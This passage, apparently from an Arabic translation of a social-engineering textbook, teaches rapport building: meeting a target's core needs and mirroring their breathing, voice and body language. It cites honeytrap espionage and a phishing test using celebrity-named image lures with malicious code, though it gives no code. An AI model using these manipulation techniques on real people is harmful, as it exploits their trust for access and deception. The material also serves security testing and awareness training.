‫‪ -‬اﻻﻧﺗﻣﺎء‪/‬اﻟﺗواﺻل‪/‬اﻟﺣب )‪(Belonging/connecting/love‬‬
‫‪ -‬اﻟطﺎﻗﺔ‪/‬اﻷھﻣﯾﺔ‪/‬اﻟﻛﻔﺎءة )‪(Power/significance/competence‬‬
‫‪ -‬اﻟﺣرﯾﺔ‪/‬اﻟﻣﺳؤوﻟﯾﺔ )‪(Freedom/responsibility‬‬
‫‪ -‬اﻟﻣﺗﻌﺔ‪/‬اﻟﺗﻌﻠم )‪(Fun/learning‬‬

‫اﻟﻣﺑدأ اﻟﻛﺎﻣن وراء ھذه اﻟﻧﻘطﺔ ھو ﺧﻠﻖ ﺳﺑل ﻟﻠﻧﺎس ﻟﻠﺣﺻول ﻋﻠﻰ ھذه اﻻﺣﺗﯾﺎﺟﺎت واﻟﺗﻲ ﺗﻠﺑﯾﮭﺎ اﻟﺗﺣدث ﻣﻌك وھذا ﯾﺑﻧﻲ ﻋﻼﻗﺔ ﻓورﯾﺔ‪ .‬إذا ﻛﺎن‬
‫ﯾﻣﻛﻧك ﺧﻠﻖ ﺑﯾﺋﺔ ﻟﺗوﻓﯾر ﺗﻠك اﻻﺣﺗﯾﺎﺟﺎت ﻟﻠﻧﺎس‪ ،‬ﯾﻣﻛﻧك إﻧﺷﺎء اﻟﺳﻧدات اﻟﺗﻲ ھﻲ ﻏﯾر ﻗﺎﺑﻠﺔ ﻟﻠﻛﺳر‪.‬‬
‫ﺳد ﺣﺎﺟﺔ اﻟﺷﺧص اﻟذي ﺗﺗﺣدث إﻟﯾﮫ ﺑﺷﻛل ﻛﺑﯾر ﯾزﯾد ﻣن ﻓرص ﺑﻧﺎء اﻟﻌﻼﻗﺔ‪ .‬ﻓﻌل ذﻟك ﻣن دون إظﮭﺎر إﻧك ﺗﻣﻠك ﻧﮭﺎﯾﺔ اﻟﻠﻌﺑﺔ‪ ،‬ﻓﻌل ذﻟك ﻣﻊ‬
‫رﻏﺑﺔ ﺣﻘﯾﻘﯾﺔ ﻟﻠﻣﺳﺎﻋدة‪ ،‬ﺳوف ﺗﺷﻌر ﺑﺎﻟدھﺷﺔ ﻣن ﻗﺑل اﻟﻧﺗﺎﺋﺞ‪ .‬رﺑﻣﺎ ﻟﯾس ھﻧﺎك ﺳﯾﻠﺔ أﺧرى أﻛﺛر ﻗﯾﻣﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻣن أن ﺗﻛون ﻗﺎدر‬
‫ﻋﻠﻰ ﺗﻠﺑﯾﺔ ھذه اﻻﺣﺗﯾﺎﺟﺎت‪ .‬ﺗﻌﻠم ﻛﯾﻔﯾﺔ ﺧﻠﻖ ﺑﯾﺋﺔ ﺗﺳﻣﺢ ﻟﻠﮭدف ﺑﺄن ﯾﺷﻌر ﺑﺎﻟراﺣﺔ واﻟﺣﺻول ﻋﻠﻰ واﺣد ﻣن اﻷرﺑﻌﺔ اﻻﺣﺗﯾﺎﺟﺎت اﻷﺳﺎﺳﯾﺔ‬
‫واﻟﺟوھرﯾﺔ ﯾﻘﺎﺑل وﺳﯾﻠﺔ ﻣؤﻛدة ﻟﺿﻣﺎن ﻋﻼﻗﺔ ﻏﯾر ﻗﺎﺑﻠﺔ ﻟﻠﻛﺳر‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪892‬‬

‫اﻟﺟواﺳﯾس ﯾﺳﺗﺧدﻣون ﻏﺎﻟﺑﺎ ﻣﺑدأ ﺳد اﻟﺣﺎﺟﺔ أو اﻟرﻏﺑﺔ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪ .‬ﻓﻲ رﺣﻠﺗﻲ اﻷﺧﯾرة إﻟﻰ ﺑﻠدة أﻣرﯾﻛﺎ اﻟﺟﻧوﺑﯾﺔ ﻗﯾل ﻟﻲ أن ﺣﻛوﻣﺗﮭﺎ‬
‫ﺗﺳﻠﻠت ﻓﻲ ﻛل وﻗت ﻋﺑر ﺗﻠﺑﯾﺔ ﺣﺎﺟﺔ أﺳﺎﺳﯾﺔ "اﻟﺗراﺑط أو اﻟﺣب"‪ .‬ﺣﯾث ﻛﺎﻧت ﺗرﺳل اﻣرأة ﺟﻣﯾﻠﺔ ﻹﻏواء رﺟل‪ ،‬وﻟﻛن ھذا ﻟﯾس ﻟﻠﯾﻠﺔ واﺣدة‪.‬‬
‫ﺣﯾث إﻧﮭﺎ ﺳوف ﺗﻐرﯾﮫ ﻷﯾﺎم أو أﺳﺎﺑﯾﻊ أو ﺷﮭور أو ﺣﺗﻰ ﺳﻧوات‪ .‬ﻣﻊ ﻣرور اﻟوﻗت ﺳوف ﺗﺻﺑﺢ أﻛﺛر ﺟرأة ﻣﻊ طﻠﺑﺎﺗﮭﺎ‪ ،‬ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف‬
‫ﺳوف ﺗﺻﻧﻊ طرﯾﻘﮭﺎ إﻟﻰ ﻣﻛﺗﺑﮫ‪ ،‬ﺣﯾث ﺗﻛﺳب اﻟوﺻول إﻟﻰ ﻣﺣطﺔ ‪ ،bugs‬أﺣﺻﻧﺔ طروادة‪ ،‬أو اﺳﺗﻧﺳﺎخ ﻣﺣرﻛﺎت اﻷﻗراص‪ .‬ھذا اﻷﺳﻠوب‬
‫ﻣدﻣر‪ ،‬وﻟﻛﻧﮫ ﯾﻌﻣل‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻸ ھذه اﻟرﻏﺑﺎت ﻣن ﺧﻼل رﺳﺎﺋل اﻟﺑرﯾد اﻻﺣﺗﯾﺎﻟﯾﺔ )‪ (phishing emails‬أﯾﺿﺎ‪ .‬ﺣﯾث ﻓﻲ أﺣد اﻻﺧﺗﺑﺎرات ﺗم ارﺳﺎل‬
‫ﻣﻠﻔﺎت ﻟﺻور وھﻣﯾﮫ ﺗم ﺗﺳﻣﯾﺗﮭﺎ ‪ ،MileyCyrusShowering.jpg ،BritneyNaked.jpg‬وأﺳﻣﺎء اﻷﺧرى اﻟﻰ ‪ 125‬ﻣوظﻔﺎ ﻣن ﺷرﻛﺔ‬
‫ﻣﺣﺗرﻣﺔ ﺟدا‪ ،‬وﺗم ﺗرﻣﯾز ﻛل ﺻورة ﻣﻊ اﻛواد ﺧﺑﯾﺛﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﻌطﻲ اﻟوﺻول ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻋﻠﻰ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص‬
‫ﺑﺎﻟﻣﺳﺗﺧدم‪ .‬ﻛﺎﻧت اﻟﻧﺗﺎﺋﺞ أن أﻛﺛر ﻣن ‪ 75‬ﻓﻲ اﻟﻣﺋﺔ ﻣن اﻟﺻور ﺗم اﻟﻧﻘر ﻓوﻗﮭﺎ‪.‬‬
‫ﺗﺷﯾر ھذه اﻟﺣﻘﺎﺋﻖ اﻟﻣﺛﯾر ﻟﻼﺷﻣﺋزاز واﻟﻣدﻣرة أن ﻣدى ﺗﺣﻘﯾﻖ رﻏﺑﺎت اﻟﻧﺎس ﯾﻣﻛن أن ﯾﻌﻣل‪ .‬أﯾﺿﺎ ﺷﺧﺻﯾﺎ‪ ،‬ﻻ ﯾﺧﺗﻠف‪ .‬ﻣﺣﻘﻘﻲ اﻟﺷرطﺔ‬
‫اﺳﺗﺧدﻣوا ھذا اﻟﺗﻛﺗﯾك ﻟﺑﻧﺎء اﻟﻌﻼﻗﺔ ﻓﻲ ﻛل وﻗت‪.‬‬
‫ذات ﻣره ﻗﺎﺑﻠت ﻣﻧﻔذ ﻟﻠﻘﺎﻧون ﺣﯾث ﻗﺎل ﻗﺻﺔ ﺗؤﻛد ھذه اﻟﺣﻘﯾﻘﺔ )أن ﻗوة اﻟﻌﻼﻗﺔ ﺗﺟﻌل اﻟﻧﺎس ﺗﻣﺗﺛل ﻟﻠطﻠﺑﺎت(‪ .‬ﺣﯾث ان اﻟﺿﺑﺎط اﻋﺗﻘل رﺟل‬
‫ﻛﺎن ﻟدﯾﮫ ﺣﺎﻟﮫ ﺟﻧﺳﯾﮫ ﻛﺎن ﯾﺣﺑﮭﺎ ﻣن ﻏزو ﺧﺻوﺻﯾﺔ اﻟﻧﺳﺎء اﻟذﯾن ﯾرﺗدون اﻟوردي وأﺣذﯾﺔ رﻋﺎة اﻟﺑﻘر‪ .‬اﻟوﻛﯾل‪ ،‬ﺑدﻻ ﻣن اﻟﺣﻛم ﻋﻠﯾﮫ أﻧﮫ‬
‫ﻣﮭووس‪ ،‬اﺳﺗﺧدم اﻟﻌﺑﺎرات ﻣﺛل‪" ،‬أﻧﺎ أﺣب اﻟﺣﻣراء ﻋﻠﻰ اﻟﻔﺗﺎه"‪ ،‬و "رأﯾت ھذه اﻟﻔﺗﺎة ﻓﻲ اﻟﯾوم اﻵﺧر ﺗرﺗدى ﺳراوﯾل ﻗﺻﯾرة وأﺣذﯾﺔ رﻋﺎة‬
‫اﻟﺑﻘر ﻋﺎﻟﯾﺔ‪ ،‬واو!"‪ .‬ﺑﻌد ﻓﺗرة ﻗﺻﯾرة ﺑدأ ﻓﻲ اﻻﺳﺗرﺧﺎء‪ .‬ﻟﻣﺎذا؟ ﻷﻧﮫ ﻗﺎﺑل ﺗﻔﻛﯾره‪ .‬ﺷﻌر اﻧﮫ ﻣﺗﺻل‪ ،‬ﺟزءا ﻣن اﻟﺣﺷد‪ .‬وﺿﻊ ﺗﻌﻠﯾﻘﺎﺗﮫ ﻋﻠﯾﮫ‬
‫ﺑﺳﮭوﻟﺔ وﺑدأ ﺗﺳرﯾب ﺟراءﺗﮫ ﻋن "ﻋﺎداﺗﮫ"‪.‬‬
‫ﻣﺎ ﺗﻘدم ھو ﻣﺛﺎل ﺟﻣﯾل ﻟﻛﯾﻔﯾﺔ ﺗطوﯾر وﺑﻧﺎء اﻟﻌﻼﻗﺔ‪ ،‬وﻟﻛن ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮫ ﺑﻣﺛﺎﺑﺔ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ؟‬
‫ﯾﻣﻛﻧك ﺑﻧﺎء اﻟﻌﻼﻗﺔ ﻓﻲ ﻏﺿون ﺛوان ﻣن ﺧﻼل ﺗطﺑﯾﻖ ﻣﺑﺎدئ ﺑﻧﺎء اﻟﻌﻼﻗﺔ اﻟﺗﻲ ﻧوﻗﺷت ﻓﻲ وﻗت ﺳﺎﺑﻖ‪ .‬ﻹﺛﺑﺎت ھذا‪ ،‬ﺗﺧﯾل أﻧك ﺗﺣﺗﺎج إﻟﻰ‬
‫اﻟﺣﺻول ﻋﻠﻰ ﺑﻌض اﻟﻧﻘود‪ ،‬ﻟم ﯾﻛن ﻟدﯾك ﺑطﺎﻗﺔ اﻟﺻراف اﻵﻟﻲ اﻟﺧﺎﺻﺔ ﺑك‪ ،‬وﻛﻧت ﻗد ﻧﺳﯾت رﻗم اﻟﺣﺳﺎب اﻟﺧﺎص ﺑك‪ ،‬ﻟذﻟك ﻋﻠﯾك أن ﺗذھب‬
‫ﻓﻲ طﻠب ﺷﺧص ﻟﻠﺣﺻول ﻋﻠﻰ ﺑﻌض اﻟﻣﺳﺎﻋدة‪ .‬رﺑﻣﺎ ﻛﻧت ﺗﺷﻌر ﺑﺎﻟﺣرج ﻗﻠﯾﻼ ﻋن اﻟﻘﯾﺎم ﺑطﻠب اﻟﺳؤال ﻋن رﻗم اﻟﺣﺳﺎب اﻟﺧﺎص ﺑك‪ .‬أﻧت‬
‫ﺗﻣﺷﻲ إﻟﻰ اﻟﻔرع اﻟﻣﺣﻠﻲ ﻟﻠﺑﻧك اﻟﺧﺎص ﺑك اﻟﺗﻲ ﻟم ﺗذھب اﻟﯾﮫ أﺑدا‪ .‬ﻻ أﺣد ﻓﻲ اﻟﺑﻧك وأﻧت ﻟدﯾﮫ اﺧﺗﯾﺎرك ﻓﻲ اﺧﺗﯾﺎر اﻟﺻراف‪ .‬رﺑﻣﺎ ﻻ ﺗﻔﻛر ﻓﻲ‬
‫ذﻟك‪ ،‬وﻣﻌظم اﻟﻧﺎس ﻻ‪ ،‬وﻟﻛﻧك ﺳوف ﺗﻧظر ﻓﻲ ﻛل اﻟﻣﻣرات اﻟﻣﻔﺗوﺣﺔ وﺗﺧﺗﺎر اﻟﺷﺧص اﻟذي ﯾﺟﻌﻠك ﺗﺷﻌر ﺑﺎﻟراﺣﺔ أﻛﺛر‪ .‬ﺳوف ﺗﺣﺻل ﻋﻠﻰ‬
‫ﻧﻔس اﻟﻧﺗﺎﺋﺞ ﻣن ﻛل ﺻراف‪ ،‬وﻟﻛﻧك ﺳوف اﺧﺗﯾﺎر واﺣد اﻟذي ﯾﺟﻌﻠك ﺗﺷﻌر ﺑﺧﯾر‪.‬‬
‫رﺑﻣﺎ اﺧﺗرت اﻟﺷﺧص اﻷﻛﺛر ﺟﺎذﺑﯾﺔ‪ ،‬أو اﻟذي ﻣﻊ أﻛﺑر اﺑﺗﺳﺎﻣﺔ‪ ،‬أو اﻟذي ﯾﺳﺗﻘﺑﻠك أوﻻ‪ .‬أي ﺷﺧص ﺗﺧﺗﺎره وطرﯾﻘﺔ اﺧﺗﯾﺎرك ﻟﮭذا اﻟﺷﺧص‬
‫ﺗﺟﻌﻠك ﺗﺧﺗﺎر إﻣﺎ ﺑوﻋﻲ أو ﺑﻐﯾر وﻋﻲ‪ ،‬وﻟﻛن اﻟﻛﺛﯾر ﻣﻧﮭﺎ ﻟﮫ ﻋﻼﻗﺔ ﻣﻊ اﻟﻌﻼﻗﺔ‪ .‬ﻓﺈن ھذا اﻟﻣﺑدأ ﯾﺛﺑت ﻧﻔﺳﮫ ﺻﺣﯾﺣﺎ ﻋﻧدﻣﺎ ﯾﺄﺗﻲ اﻷﻣر ﻟﻛم واﻟﺗﻲ‬
‫ﺗﺳﺗﮭدﻓﮫ‪ .‬وأﻧت ﺗﻣﺷﻲ ﻟﺗﺻل إﻟﻰ اﻟﮭدف ﻓﺈﻧﮭﺎ ﺳوف ﺗﺟﻌل ﺑﻌض اﻷﺣﻛﺎم اﻟﻣﻔﺎﺟﺋﺔ اﻟﻠﺣظﯾﺔ ﻟك ﺑﻧﺎء ﻋﻠﻰ ﻣظﮭرك اﻟﺷﺧﺻﻲ‪ ،‬ﺳﻠوﻛك‪،‬‬
‫وﺗﻌﺑﯾرات اﻟوﺟﮫ‪ ،‬وﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬اﻟﻣزاج‪ .‬ﻣﻌظم ھذه اﻟﻌواﻣل ﯾﻣﻛن اﻟﺳﯾطرة ﻋﻠﯾﮭﺎ‪ ،‬ﻟذﻟك اﺗﺧﺎذ إﺟراءات وﻗﺎﺋﯾﺔ ﻋﻠﯾﮭﺎ ﻟﺿﻣﺎن اﻟﻧﺟﺎح‪.‬‬
‫ﺑﻧﺎء اﻟﻌﻼﻗﺔ ﯾﺧﻠﻖ ﺑﺷﻛل ﺻﺣﯾﺢ راﺑط ﻣﺛل اﻟﻐراء اﻟﻘوي اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺣﻣل إزﻋﺎج طﻔﯾف وﺣﺗﻰ ﺑﻌض ﺳوء اﻟﻔﮭم‪.‬‬
‫اﻟﻌﻼﻗﺔ ﺗﺳﻣﺢ ﻟﻠﺷﺧص ﺑﻘول أﺷﯾﺎء وﻓﻌل أﺷﯾل ﻻ ﯾﻣﻛن ﻓﻌﻠﮭﺎ اﻻ اﻷﺻدﻗﺎء اﻟﻣﻘرﺑﯾن ﻓﻘط‪ ،‬ل ﻷﻧﮭﺎ ﺟﻠﺑت إﻟﻰ اﻟداﺋرة اﻟﻣﻘرﺑﺔ ﻣن اﻟﺛﻘﺔ‪ .‬ﺑل ھو‬
‫ﻗوة ﻛﺑﯾرة واﻟﺗﻲ ﺑدوﻧﮭﺎ ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‪ ،‬واﻟﺻداﻗﺎت‪ ،‬واﻟﺗوظﯾف‪ ،‬واﻟﻌدﯾد ﻣن اﻟﺣﺎﻻت اﻷﺧرى أﻛﺛر ﺻﻌوﺑﺔ‪.‬‬
‫ﺗذﻛر اﻟﺗﺳﺗر )‪(Pretext‬؟ ﺗﻌﻠﻣت أن اﻟﺗﺳﺗر )‪ (Pretext‬ھو أﻛﺛر ﻣن ﻣﺟرد ﻟﻌب دورا‪ ،‬ﻓﺈﻧﮫ ﯾﻌﯾش‪ ،‬وﯾﺟري‪ ،‬وﯾﺻﺑﺢ اﻟﺷﺧص اﻟذي ﯾﺻور‬
‫إﻟﻰ اﻟﮭدف‪ .‬ﻓﻲ اﻟﻌدﯾد ﻣن اﻟﺗﻌﺎﻗدات اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺳوف ﻻ ﯾﻛون ﻟدﯾك اﻟوﻗت ﻟﺑﻧﺎء ﻗﺻﺔ واﺳﺗﺧدام أﺳﺎﻟﯾب اﻹﻏواء أو اﻟﻌﻼﻗﺔ ﻋﻠﻰ‬
‫اﻟﻣدى اﻟطوﯾل‪ ،‬ﻟذﻟك ﺳﯾﻌﺗﻣد اﻟﻧﺟﺎح اﻟﺧﺎص ﺑك ﻋﻠﻰ اﻟﻛﺛﯾر ﻣن اﻷﺷﯾﺎء ﻏﯾر اﻟﻠﻔظﯾﺔ ﺳوف ﺗﺣﺗﺎج إﻟﻰ اﻟﻘﯾﺎم ﺑﮭﺎ‪.‬‬
‫اﺳﺘﺨﺪام ﺗﻘﻨﯿﺎت ﺑﻨﺎء اﻷﻟﻔﺔ‪/‬اﻟﻌﻼﻗﺔ اﻷﺧﺮى )‪(Using Other Rapport-Building Techniques‬‬

‫ﺗﻘﻧﯾﺎت ﺑﻧﺎء اﻟﻌﻼﻗﺔ اﻷﺧرى اﻟﻣوﺟودة‪ ،‬واﻟﺗﻲ ﺗﺳﺗﻧد ﻋﻠﻰ ﺑﺣث ‪ .NLP‬ﻛﻣﺎ ﺗﻌﻠﻣون اﻵن‪ ،‬أن اﻟﻌﻼﻗﺔ )‪ (rapport‬ﻓﻲ اﻷﺳﺎس ﻗﺎﺋﻣﮫ ﻋﻠﻰ‬
‫اﻻﺗﺻﺎل ﻣﻊ ﺷﺧص ﻣﺎ ووﺿﻌﮫ ﻓﻲ وﺿﻊ اﻻﺳﺗرﺧﺎء‪ .‬ﯾﻣﻛن ﻟﺑﻌض ﺗﻘﻧﯾﺎت اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ اﻟﺗﻲ ﺗﺳﺗﺧدﻣﮭﺎ ھﯾﺑﻧوﺗﯾﺳﺗس وﻣﻣﺎرﺳﯾن‬
‫‪ NLP‬ﻓﻲ وﺿﻊ اﻟﻧﺎس ﻓﻲ اﺳﺗرﺧﺎء ﻋﻠﻰ اﻟﻔور‪ ،‬ﻛﻣﺎ ﻧوﻗش ﻣن ﻗﺑل‪.‬‬
‫اﻟﺘﻨﻔﺲ ﻋﻠﻰ ﻧﻔﺲ ﻣﻌﺪل ھﺪﻓﻚ )‪(Breathing at the Same Rate as Your Target‬‬
‫اﻟﺗﻧﻔس ﻋﻠﻰ ﻧﻔس ﻣﻌدل ﺷﺧص ﻣﺎ ﻻ ﯾﻌﻧﻲ أﻧك ﺗﺳﺗﻣﻊ ﻋن ﻛﺛب إﻟﻰ ﻛل ﻧﻔس وﻣن ﺛم ﻣﺣﺎوﻟﺔ اﻟﺗﻧﻔس ﻣﺛل اﻟﮭدف اﻟذي ﺗﺳﺗﮭدﻓﮫ‪ .‬وﻟﻛن ﺑﻌض‬
‫اﻟﻧﺎس ﻗد ﺣددت ﺟدا أﻧﻣﺎط اﻟﺗﻧﻔس‪ :‬اﻟﺑﻌض ﺳرﯾﻊ وﻗﺻﯾر اﻟﺗﻧﻔس‪ ،‬وﺑﻌﺿﮭﺎ طوﯾل وﻋﻣﯾﻖ اﻟﺗﻧﻔس‪ .‬ﻻﺣظ ﻛﯾف ﯾﺗﻧﻔس اﻟﮭدف وﯾﻌﻛس ھذا‬
‫اﻟﻧﻣط‪ ،‬وﻟﻛن ﻣن دون ﺗردﯾد )أي‪ ،‬ﻓﻌل ذﻟك ﻓﻲ ﻧﻔس اﻟوﻗت ﺑﺎﻟﺿﺑط(‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪893‬‬

‫ﻣﻄﺎﺑﻘﺔ اﻟﻨﻐﻤﺔ اﻟﺼﻮﺗﯿﺔ وﻧﻤﻂ اﻟﻜﻼم ﻟﻠﮭﺪف اﻟﺨﺎص ﺑﻚ )‪(Matching Your Target’s Vocal Tone and Speech Pattern‬‬
‫ﻟﻘد وﻟدت ﻓﻲ ﻧﯾوﯾورك وﺗرﻋرﻋت ﻓﻲ أﺳرة إﯾطﺎﻟﯾﺔ‪ .‬أﺗﺣدث ﺳرﯾﻌﺎ‪ ،‬ﺑﺻوت ﻋﺎل‪ ،‬وﻣﻊ ﯾدي‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ﻛون ‪ %75‬إﯾطﺎﻟﻲ‪%25 ،‬‬
‫ﻣﺟري‪ .‬أﻧﺎ ﻛﺑﯾر‪ ،‬طوﯾل اﻟﻘﺎﻣﺔ‪ ،‬ذات ﺻوت ﻋﺎل واﯾﻣﺎءات ﻣﺛل ﻣﺣﺗرﻓﻲ ﺗرﺟم ﻟﻐﺔ اﻟﺟﺳد ﺑﺳرﻋﮫ‪ .‬إذا ﻗﻣت ﺑﺎﻻﻗﺗراب ﻣن ﺷﺧص‪ ،‬ﺧﺟول‪،‬‬
‫ﺟﻧوﺑﻲ اﻟﺣدﯾث وﺑطﻲء ﻓﯾﻣﻛﻧﻧﻲ ﻗﺗل اﻟﻌﻼﻗﺔ إذا ﻟم أﺗﺣدث ﺑﺑطﻲء‪ ،‬وﺿﻊ ﯾدي ﺑﻌﯾدا‪ ،‬وﺗﻐﯾﯾر أﺳﻠوب اﻻﺗﺻﺎل اﻟﺧﺎص ﺑﻲ‪ .‬اﻻﺳﺗﻣﺎع إﻟﻰ اﻟﻧﻐﻣﺔ‬
‫اﻟﺻوﺗﯾﺔ اﻟﺗﻲ ﺗﺳﺗﮭدﻓﮭﺎ وﻣن ﺛم ﺗطﺎﺑﻘﮭﺎ‪ ،‬ﺳواء ﻛﺎن اﻟﻣﺗﻛﻠم ﺑطﻲء‪ ،‬ﺳرﯾﻊ‪ ،‬ﺻﺎﺧب‪ ،‬ھﺎدئ‪ ،‬أو ﻟﯾن‪ .‬أﻣﺎ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﮭﺟﺎت‪ ،‬ﻓﮭﻲ ﻗﺎﻋدة ﺟﯾدة‪ :‬ﻻ‬
‫ﺗﺣﺎول‪ .‬إﻻ إذا ﻛﻧت ﺗﺳﺗطﯾﻊ ان ﺗﻔﻌل ذﻟك ﺑﺷﻛل ﺟﯾد ﺟدا ﺣﺗﻰ ﻻ ﺗﺣﺎول ذﻟك‪ .‬اﻟﻘﯾﺎم ﺑﺎﻟﻠﮭﺟﺔ اﻟﺳﯾﺋﺔ ﯾﻘﺗل اﻟﻌﻼﻗﺔ‪.‬‬
‫ﻋﻠﻰ ﻧﻔس اﻟﻣﻧوال‪ ،‬ﯾﻣﻛﻧك أﯾﺿﺎ ﻣﺣﺎوﻟﺔ اﻻﺳﺗﻣﺎع ﻟﻠﻌﺑﺎرات اﻟرﺋﯾﺳﯾﺔ )‪ .(key phrases‬ﺣﯾث ان اﻟﻧﺎس ﺗﺳﺗﺧدم ﻣﺻطﻠﺣﺎت ﻣﺛل‬
‫"‪ " okie dokie‬أو"‪ ." yepper‬اﻻﺳﺗﻣﺎع اﻟﻰ اﻟﻌﺑﺎرات اﻟرﺋﯾﺳﯾﺔ‪ ،‬وﺣﺗﻰ ﻟو ﻟم ﺗﻛن ھﻧﺎك‪ ،‬ﻗد ﺗﻛون ﻗﺎدرا ﻋﻠﻰ اﻟﻌﻣل ﺑﺎﺳﺗﺧدام ﻧﻔس اﻟﺟﻣﻠﺔ‪.‬‬
‫ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﺗﻛون ھذه اﻟﻌﺑﺎرات اﻟرﺋﯾﺳﯾﺔ )اﻟﻣﺻطﻠﺣﺎت( ﻻ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ اﻟذي ﻣن ﺷﺎﺋﻧﮫ ﺗؤدى اﻟﻰ ﻓﺷل اﻟﻌﻼﻗﺔ‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ﻧﻘوم‬
‫ﺑﺧﻠط ﻓﻲ ﺑﻌض اﻟﻛﻠﻣﺎت اﻟرﺋﯾﺳﯾﺔ ﻟﺗﻠك اﻟﻌﺑﺎرة‪.‬‬
‫ﻛﯾﻔﻣﺎ ﯾﺗﺣدث اﻟﺷﺧص ﻣﺎ ھﻲ اﻻ اﻟﻣﻧطﻘﺔ ﺣﯾث ﯾﺟب ﺗﻘﯾﯾد اﻷﺣﻛﺎم اﻟﺷﺧﺻﯾﺔ‪ .‬ﺑﻌض اﻟﻧﺎس ﯾﺗﺣدﺛون ﺑﺛﻘﺔ‪ ،‬وﺑﻌﺿﮭم ﯾﮭﻣﺳون‪ ،‬وﺑﻌﺿﮭم‬
‫ﯾﮭذون‪ .‬إذا ﻛﻧت ﻻ‪ ،‬ﻓﺈﻧك ﺗﺣﺗﺎج إﻟﻰ اﻟﺳﻣﺎح ﻟﻠﺷﺧص ﺑﺣرﯾﮫ اﺧﺗﯾﺎر طرﯾﻘﺔ اﻟﻛﻼم اﻟﺗﻲ ﯾﺟدھﺎ ﻣرﯾﺣﺔ ﻟﮫ وﻣن ﺛم أﻋﻛس ذﻟك‪.‬‬
‫ﻣﻄﺎﺑﻘﺔ ﻟﻐﺔ اﻟﺠﺴﺪ ﻟﻠﮭﺪف اﻟﺨﺎص ﺑﻚ )‪(Matching Your Target’s Body Language‬‬
‫ﻣطﺎﺑﻘﺔ ﻟﻐﺔ اﻟﺟﺳد ھو وﺳﯾﻠﺔ ﻣﺛﯾرة ﺟدا ﻟﻼھﺗﻣﺎم ﻋﻧد ﺑﻧﺎء اﻟﻌﻼﻗﺔ ﻷﻧﮭﺎ ﯾﻣﻛن أن ﺗﻌﻣل ﻋﻠﻰ ﺧﻠﻖ رواﺑط ﻗوﯾﺔ ﺟدا وﻟﻛن ﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ أﻧﮭﺎ‬
‫ﯾﻣﻛن أن ﺗﻘﺗل ﻛل ﻣﺎ ﺗﺑذﻟوﻧﮫ ﻣن ﻋﻼﻗﺔ ﻓﻲ ﺑﺿﻊ ﺛوان ﻓﻲ ﺣﺎﻟﺔ ﻋدم اﻟﺗطﺎﺑﻖ‪.‬‬
‫إذا ﻻﺣظت ﺷﺧص ﯾﻘف ﺑطرﯾﻘﺔ ﻣﻌﯾﻧﺔ‪ ،‬رﺑﻣﺎ ﺗرى ﻋﻘد ذراﻋﯾﮫ‪ ،‬ﻓﺎﻧﮫ ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﻻ ﯾﻌﻧﻰ اﻧﮫ ﻣﻐﻠﻖ اﻟﻌﻼﻗﺔ وﻟﻛﻧﻰ ﯾﻌﻧﻰ ﻓﻘط أﻧﮫ ﯾﺷﻌر‬
‫ﺑﺎﻟﺑرد‪ .‬ﺣﯾث ﯾﻣﻛن ﻟﻌﺑور‪/‬ﻋﻘد ذراع واﺣدة ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء ﺟﺳﻣك ﺗﻌﻛس ﻣوﻗﻔﮫ‪ ،‬أو أﺿﻌﺎف ﯾدﯾك اﻟﻰ ‪steeple‬؟‬
‫ﻋﻧدﻣﺎ ﺗﺟﻠس ﻋﻠﻰ ﺟﺎﻧب ﺷﺧص ﻣﺎ ﯾﺗﻧﺎول وﺟﺑﺔ ﯾﻣﻛﻧك أن ﺗﺄﺧذ ﺑﺿﻊ رﺷﻔﺎت ﻣن ﺷراﺑك ﻓﻲ ﺣﯾن اﻧﮫ ﯾﺄﻛل ﻟﻌﻛس ﻟﻐﺔ ﺟﺳده‪ .‬ﻻ ﺗﻔﻌل ﻛل‬
‫ﺷﻲء ھو ﯾﻔﻌﻠﮫ‪ ،‬وﻟﻛن اﻓﻌل إﺟراءات ﻣﻣﺎﺛﻠﺔ‪.‬‬
‫اﻟﻧﺎس ﻣﺛل اﻟﻧﺎس اﻟذﯾن ھم ﻣﺛﻠﮭم‪ .‬واﻟﺗﻲ ھو ﻓﻘط طﺑﯾﻌﺔ اﻟﺑﺷر‪ .‬ﯾﺟﻌﻠﮭﺎ ﺗﺷﻌر ﺑﺎﻟراﺣﺔ‪ .‬ﻛﺎن ﺑﯾل ﻓﯾﻠﯾﺑس ﻋﺑﻘري وراء ﺑرﻧﺎﻣﺞ اﻟﺟﺳم ﻣن أﺟل‬
